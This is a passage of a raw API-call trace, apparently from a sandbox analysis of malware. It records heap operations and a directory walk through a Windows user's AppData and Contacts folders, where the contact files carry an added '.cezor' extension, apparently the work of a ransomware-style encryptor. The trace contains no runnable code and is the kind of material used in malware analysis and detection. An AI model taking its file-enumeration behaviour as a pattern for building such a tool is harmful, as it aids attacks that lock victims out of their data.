1 [0122.622] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc738 | out: hHeap=0x5b0000) returned 1 [0122.622] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc700 | out: hHeap=0x5b0000) returned 1 [0122.622] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.622] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc700 [0122.622] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.622] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc738 [0122.622] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.622] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.622] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc738 | out: hHeap=0x5b0000) returned 1 [0122.622] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc738 [0122.622] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.623] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.623] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc738 | out: hHeap=0x5b0000) returned 1 [0122.623] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc738 [0122.623] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.623] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.623] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc738 | out: hHeap=0x5b0000) returned 1 [0122.623] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc738 [0122.623] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.623] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.623] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc738 | out: hHeap=0x5b0000) returned 1 [0122.623] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc738 [0122.623] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.623] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.623] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc738 | out: hHeap=0x5b0000) returned 1 [0122.623] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc700 | out: hHeap=0x5b0000) returned 1 [0122.623] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.623] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc700 [0122.623] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.623] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc738 [0122.623] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.623] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.623] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc738 | out: hHeap=0x5b0000) returned 1 [0122.623] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc738 [0122.623] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.623] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.623] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc738 | out: hHeap=0x5b0000) returned 1 [0122.623] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc700 | out: hHeap=0x5b0000) returned 1 [0122.623] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.623] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc700 [0122.623] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.623] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc738 [0122.623] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.624] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.624] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc738 | out: hHeap=0x5b0000) returned 1 [0122.624] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc738 [0122.624] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.624] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.624] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc738 | out: hHeap=0x5b0000) returned 1 [0122.624] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc738 [0122.624] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.624] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.624] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc738 | out: hHeap=0x5b0000) returned 1 [0122.624] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc700 | out: hHeap=0x5b0000) returned 1 [0122.624] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.624] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018978 | out: hHeap=0x5b0000) returned 1 [0122.624] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018900 | out: hHeap=0x5b0000) returned 1 [0122.624] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.624] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.624] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30188b0 | out: hHeap=0x5b0000) returned 1 [0122.624] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307cbd0 | out: hHeap=0x5b0000) returned 1 [0122.624] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307cba8 | out: hHeap=0x5b0000) returned 1 [0122.624] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307cb80 | out: hHeap=0x5b0000) returned 1 [0122.624] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307cb58 | out: hHeap=0x5b0000) returned 1 [0122.624] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307cb30 | out: hHeap=0x5b0000) returned 1 [0122.624] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307cb08 | out: hHeap=0x5b0000) returned 1 [0122.624] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307cae0 | out: hHeap=0x5b0000) returned 1 [0122.624] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307cab8 | out: hHeap=0x5b0000) returned 1 [0122.624] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307c950 | out: hHeap=0x5b0000) returned 1 [0122.624] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307c978 | out: hHeap=0x5b0000) returned 1 [0122.624] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307c9a0 | out: hHeap=0x5b0000) returned 1 [0122.624] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307cdd8 | out: hHeap=0x5b0000) returned 1 [0122.624] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ce00 | out: hHeap=0x5b0000) returned 1 [0122.624] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ce28 | out: hHeap=0x5b0000) returned 1 [0122.624] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ce50 | out: hHeap=0x5b0000) returned 1 [0122.625] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ce78 | out: hHeap=0x5b0000) returned 1 [0122.625] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307cea0 | out: hHeap=0x5b0000) returned 1 [0122.625] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307cec8 | out: hHeap=0x5b0000) returned 1 [0122.625] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307cef0 | out: hHeap=0x5b0000) returned 1 [0122.625] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fdd9c8 | out: hHeap=0x5b0000) returned 1 [0122.625] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc578 | out: hHeap=0x5b0000) returned 1 [0122.625] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc690 | out: hHeap=0x5b0000) returned 1 [0122.625] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc540 | out: hHeap=0x5b0000) returned 1 [0122.625] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc658 | out: hHeap=0x5b0000) returned 1 [0122.625] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307c498 | out: hHeap=0x5b0000) returned 1 [0122.625] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce290 [0122.625] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.625] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fcdf78 [0122.625] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.625] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.625] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcdf78 | out: hHeap=0x5b0000) returned 1 [0122.625] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fcdf78 [0122.625] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.625] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.625] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcdf78 | out: hHeap=0x5b0000) returned 1 [0122.625] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fcdf78 [0122.625] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.625] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.625] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcdf78 | out: hHeap=0x5b0000) returned 1 [0122.625] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0122.625] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.625] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.625] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30188b0 | out: hHeap=0x5b0000) returned 1 [0122.625] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.625] PathFindFileNameW (pszPath="") returned="" [0122.626] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.626] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcdf78 | out: hHeap=0x5b0000) returned 1 [0122.626] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.626] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe6e3250, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0xe6e3250, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 1 [0122.626] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LocalLow", cAlternateFileName="")) returned 1 [0122.626] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfa9ff1f0, ftLastAccessTime.dwHighDateTime=0x1d53558, ftLastWriteTime.dwLowDateTime=0xfa9ff1f0, ftLastWriteTime.dwHighDateTime=0x1d53558, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 1 [0122.626] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfa9ff1f0, ftLastAccessTime.dwHighDateTime=0x1d53558, ftLastWriteTime.dwLowDateTime=0xfa9ff1f0, ftLastWriteTime.dwHighDateTime=0x1d53558, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0 [0122.626] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.626] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc658 | out: hHeap=0x5b0000) returned 1 [0122.626] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fce290 | out: hHeap=0x5b0000) returned 1 [0122.626] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.626] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.626] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\") returned="Application Data\\" [0122.626] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.627] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.627] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30188b0 | out: hHeap=0x5b0000) returned 1 [0122.627] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.627] PathFindFileNameW (pszPath="") returned="" [0122.627] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfa9ff1f0, ftLastAccessTime.dwHighDateTime=0x1d53558, ftLastWriteTime.dwLowDateTime=0xfa9ff1f0, ftLastWriteTime.dwHighDateTime=0x1d53558, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0xffffffff [0122.627] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3006f50 | out: hHeap=0x5b0000) returned 1 [0122.627] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc658 | out: hHeap=0x5b0000) returned 1 [0122.627] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f53638 | out: hHeap=0x5b0000) returned 1 [0122.627] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.627] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.627] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\") returned="Contacts\\" [0122.627] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.627] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.627] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30188b0 | out: hHeap=0x5b0000) returned 1 [0122.627] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.627] PathFindFileNameW (pszPath="") returned="" [0122.627] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x14098f70, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14098f70, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.627] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f53638 | out: hHeap=0x5b0000) returned 1 [0122.627] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x14098f70, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14098f70, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.627] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ea7ef20, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2ea7ef20, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x140009f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x4e8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Aclviho ASldjfl.contact.cezor", cAlternateFileName="ACLVIH~1.CEZ")) returned 1 [0122.627] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact.cezor") returned=".cezor" [0122.628] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f21398 | out: hHeap=0x5b0000) returned 1 [0122.628] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x14026b50, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x10b6c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Administrator.contact.cezor", cAlternateFileName="ADMINI~1.CEZ")) returned 1 [0122.628] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact.cezor") returned=".cezor" [0122.628] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f21398 | out: hHeap=0x5b0000) returned 1 [0122.628] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaa5080, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaa5080, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x1404ccb0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x4e1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="asdlfk poopvy.contact.cezor", cAlternateFileName="ASDLFK~1.CEZ")) returned 1 [0122.628] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact.cezor") returned=".cezor" [0122.628] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f21398 | out: hHeap=0x5b0000) returned 1 [0122.628] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eacb1e0, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eacb1e0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x14072e10, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x4e7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="chucu jadnvk.contact.cezor", cAlternateFileName="CHUCUJ~1.CEZ")) returned 1 [0122.628] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact.cezor") returned=".cezor" [0122.628] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f21398 | out: hHeap=0x5b0000) returned 1 [0122.628] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0122.628] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\desktop.ini") returned=".ini" [0122.628] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69d370 | out: hHeap=0x5b0000) returned 1 [0122.628] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x14098f70, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x4e4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lulcit amkdfe.contact.cezor", cAlternateFileName="LULCIT~1.CEZ")) returned 1 [0122.628] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact.cezor") returned=".cezor" [0122.628] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f21398 | out: hHeap=0x5b0000) returned 1 [0122.628] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x14098f70, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x4e2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact.cezor", cAlternateFileName="SIKVNB~1.CEZ")) returned 1 [0122.628] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact.cezor") returned=".cezor" [0122.628] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f21398 | out: hHeap=0x5b0000) returned 1 [0122.628] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, 